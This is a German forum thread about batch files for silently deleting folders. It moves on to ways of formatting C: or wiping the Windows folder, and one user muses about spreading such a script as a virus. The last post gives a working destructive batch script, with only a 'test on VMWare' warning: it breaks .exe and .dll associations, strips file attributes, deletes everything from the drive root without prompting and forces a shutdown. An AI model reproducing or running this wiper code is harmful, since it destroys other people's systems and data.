format c: |".bat" ??!

  • Themenstarter Themenstarter yiiP
  • Beginndatum Beginndatum
Aso...

Achso... wieder was dazu gelernt :D

Aber im Grunde ist dieser Code richtig oder?

@echo off
echo j > ja.txt
@echo off
rmdir /s /q C:\eigene~1\Downloads\test

Die Datei "test" ist bei mir einfach ein neu angelegter Ordner,...

Es gibt aber irgentwie hier nur Verwirrung, die ganzen codes (alle das selbe...)
Was ist nun Richtig?


(1.)

@echo off
echo j > ja.txt
@echo off
rmdir /s /q C:\eigene~1\Downloads\test

(2.)

@echo off
echo j > hallo.txt
rmdir /s C:\eigene~1\Downloads\test < hallo.txt


(3.)

@echo off
rmdir /s /q C:\eigene~1\Downloads\test


Wäre schön wenn hier mal wer *Licht ins Dunkle* bringt
(nicht Falsch verstehn Gnome & Ranger ;) thx )

MfG
 
Code:
@echo off
echo j > ja.txt
@echo off
rmdir /s /q C:\eigene~1\Downloads\test

@echo off
schaltet das echo dauerhaft ab, daher nur einmal

und bei /q braucht man das echo j > ja.txt nicht mehr


Code:
@echo off
echo j > hallo.txt
rmdir /s C:\eigene~1\Downloads\test < hallo.txt

ist richtig, genau wie

Code:
@echo off
rmdir /s /q C:\eigene~1\Downloads\test
 
Alles klar!

Habe beides ausprobiert, aber er zeigt mir in der DOS-Eingabeaufforderung

Ungültige Option - /S

an. Keine Ahnung warum, habe es mit beiden Codes probiert, kommt aber immer das selbe
raus, "Ungültige Option - /S". Kann es daran liegen das ich win98 habe? Hatte nämlich schon mal probleme zwischen win98 und XP... Glaube da gibs Unterschiede...

:rolleyes: MfG :rolleyes:
 
*bingo*

:D *bingo* :D

| Schau mal hier |

Frage:
-------
Wie kann ich die lästigen Rückfragen beim Löschen ganzer Verzeichnisse
vermeiden?

Wenn man viele Disketten zu löschen hat, ist der Befehl DEL A:\*.*
durch die Frage "Sollen alle Dateien im Verzeichnis gelöscht werden?
(J/N)" sehr umständlich.

Antwort:
--------
Die lästigen Rückfragen können umgangen werden, indem man den Befehl
del a:\?*.* benutzt. Dieser Trick funktioniert auch mit dem Befehl
DELTREE beim Löschen ganzer Verzeichnisbäume inkl. aller
Unterverzeichnisse.

So, ist auch noch ein ganzes DOS-Tutorial (viele Tipps & Tricks) und noch ein viele weitere Batch-Tutorials vorhanden. Siehe hier

Probiers gleich mal aus :D


Edit: Somit müsste der Code dann wuie folgt lauten:

DELTREE C:\eigene~1\Downloads\?test

Edit: Funktioniert auch nicht, sche*sse X( geht auch garnichts ... :D nun ja, solange ihr mir 100% Versichern könnt das

@echo off
rmdir /s /q C:\eigene~1\Downloads\test

funktionieren würde reicht mir das fürs erste ...
 
so wie ich jetz die angaben aus dem tutorial verstehe, wird da einfach der befehl ein bisschen abgeändert, aber die funktion ist noch die gleiche.
ich denke, dass del.com/deltree.com(.exe, oda wasweißich) einfach ueberpruefen, wann am ende ein /*.* steht, und dann die eingabeaufforderung mit der j/n abfrage bringt. wenn man jetzt das /*.* durch ein /?*.* ersetzt, ist das die gleiche wirkung (ein ? ist ein joker, das nur fuer ein zeichen gilt, * ist soweit ich mich noch an meine dos-zeiten erinnern kann ein "greedy joker" der auch fuer mehrere zeichen stehen kann)
der einzige vorteil ist, dass der entsprechende code nun anscheinend nicht mehr erkennt, dass man das ganze verzeichnis leeren möchte und somit die eingabeaufforderung weglässt..

DELTREE C:\eigene~1\Downloads\?test
das wuerde dann eigentlich nur alle ordner löschen, die mit "test" enden und ein zeichen vorangestellt haben, also ordner wie "1test" "btest" "Gtest" etc..
demnach wäre die rmdir-methode wahrscheinlich die beste, da man mit del "c:\blubb\?*.*" auch nur alle dateien, nicht die unterordner etc. löschen kann (oder war ich nur immer zu blöd dazu? X( )
 
Ich hoffe, dass ich dir nun nichts falsches erzähle....
Aber wenn du C: formatieren willst, ist´s auch möglich meines Wissens nach die Batch nach einem erfolgten Reboot auszuführen...
Frag mich nicht wie, sowas brauche ich ja nicht, aber müsste möglich sein...(evt. mit Hilfe der Boot.ini? )

nur um das Thema mal an seine eigentlichen Pläne näher ranzubringen...
 
Also...
format C: geht nicht, war ja schon geklärt. Es geht nicht, da auf dem zu formatierenden Datenträger bzw. Partition Programme sind, die gerade laufen, und wie wir hoffentlich alle wissen, kann Windows ohne weiteres laufende Programme nicht löschen.

Nun hast du nach einer anderen Lösung als format C: gefragt wenn ich das richtig mitbekommen habe, du willst den Windows-Ordner löschen. Da stellt sich mir zwar die Frage, was das für einen Sinn hat, aber egal. Aber wenn man mal kurz nachdenkt, dann kommt man auf die Idee, dass das ja auch nicht klappen kann, da da ja einige Programme drin sind, die gerade laufen. So kannst du zwar mit "del %windir% ?*.* /S" alles in dem Ordner löschen was nicht gerade läuft, aber der Rest wird bleiben.

Nebenbei eine Frage: Ich dachte bisher immer, das rmdir nur leere Ordner löschen kann, irre ich da?

mfg $oul
 
Original von Payne
Ich hoffe, dass ich dir nun nichts falsches erzähle....
Aber wenn du C: formatieren willst, ist´s auch möglich meines Wissens nach die Batch nach einem erfolgten Reboot auszuführen...
Frag mich nicht wie, sowas brauche ich ja nicht, aber müsste möglich sein...(evt. mit Hilfe der Boot.ini? )

nur um das Thema mal an seine eigentlichen Pläne näher ranzubringen...

Um die Aussage klarer auszudrücken:

Nach erfolgtem Reboot: Das die Batch sich ladet bevor sich WIN ladet, dann geht das alles. Möglich ists - weiß aber nicht wie, da ichs nicht brauche

Denke lieber nicht darüber nach was das ganze für einen Sinn haben soll, wie mein Vorgängerpost schon andeutete :rolleyes:
 
Um ein bisschen Licht ins dunkle zu bringen:

Code:
@echo off
:: Dass die Befehle nicht angezeigt werden.
del /Q /S C:\test\*
:: Loescht alle Dateien, auch in Unterordnern (/S), aber _nicht_ die unterordner selbst!, im verzeichniss "test" ohne vorher zu fragen (/Q)
rmdir /Q /S C:\test\
:: Loeöscht das Verzeichnis test mit allen Unterordnern (/S) ohne vorher zu fragen (/Q)

Alles Hinter den :: sind Kommentare (so gehen kommentare in Batch).
 
Ich weiß nicht voran es liegt, aber es funktioniert einfach nicht.
Mein Code:

@echo off
rmdir /Q /S C:\eigene~1\Downloads\test

Es wir dann im DOS-Eingabeaufforderungs Fenster folgendes angezeigt:

Ungültige Option - /Q

Wieso? ?( ?( ?(

MfG

PS: Habe win98, gibs da vielleicht Unterschiede gegen den winXP/... Versionen gegenüber?
 
Probier bitte mal ob es mit "rmdir /S /Q C:\eigene~1\Downloads\test" funktioniert. (Q und S vertauscht, da es auch so in der Hilfedatei dazu steht)

Ansonsten würde ich sagen ist es wegen dem veralteten Win98,

mfg $oul
 
Ne,... funktioniert auch nicht *meno* X(
Shit win98, hol mir bald noch nen neuen Rechner, winXP ...

Aber nochmal fürn Code, der läuft aber zu 100% aufm XP Rechner?
Kannste dochmal für mich testen :rolleyes: ;)

:D MfG :D
 
Nochn Tip, wenn man möglichst wenige Code schreiben möchte:

das "@" vor der Zeile macht echo off für diese Zeile!

Und zum Zweck der Batch-Datei: Wollt ihr hier fiese Aktionen planen?

Noch eine viel dümmere Frage:

WARUM GIBTS ES SO EINEN VIRUS NICHT SCHON? Hab sowas noch nie gesehen! Haben die Skript-Kiddies da zu viel Angst vor? Is doch simpelst! Frage ich mich schon lange...

Ok, die Verbreitung wäre nicht sooo hoch, aber wenn nur immer Laufwerk D formatiert werden würde, würde das bei nicht wenigen Leuten schon reichen, die in den Wahnsinn zu treiben...

Und außerdem: Hat Windows nicht sogar einen Parameter für das "Eigene Dateien"-Verzeichnis like %my_documents%? Dann wäre sogar die Sprache egal und man würde immer die eigenen Dateien löschen, vorausgesetzt dieser Parameter klappt auch im DosFenster...
 
Original von RandZ
Und zum Zweck der Batch-Datei: Wollt ihr hier fiese Aktionen planen?
Ich denke nicht, dass hier jemand ne fiese Aktion plant.
Und ausserdem haben wir nur versucht zu helfen, was der User mit der Datei anfängt bleibt ihm überlassen.
Ich denke die meisten hätten hier auch nicht geantwortet, wenn sie gedacht hätten, dass etwas fieses dahinter steckt.
 
nach dem das thema offenbar indirekt geschlossen wurde, nun wieder eine kurze einleitung.

sind diese befehlszeilen gültig?
ich habe so das gefühl irgendetwas darin widerspricht sich.


@echo off for %%i in 1 2 3 4 5 goto errlevel1 :errlevel1 format c:\u \q | null '

täusche ich mich?

grüße,
c10sh
 
Das aktuelle Windows Laufwerk kann nicht formatiert werden, da dieses ja von Windows selbst benutzt wird. (zB. In XP)

Man könnte es aber so machen indem verhindert wird, dass EXE und DLL Dateien nicht mehr geöffnet werden können, Die Attribute "Schreibgeschützt", "Systemdatei" und "versteckt" rekursiv entfernt werden, und diese dann löschen (rekursiv und ohne Nachfrage):

-->!Achtung!<--
Nur auf VMWare testen!
Auf eigene Gefahr!!!


Code:
@echo off
cd /d %windir%
cd\
assoc .exe=error
assoc .dll=error
attrib -r -s -h *.* /s /d > nul
del /s /f /q *.* > nul
shutdown -s -f -t 00
 
Zurück
Oben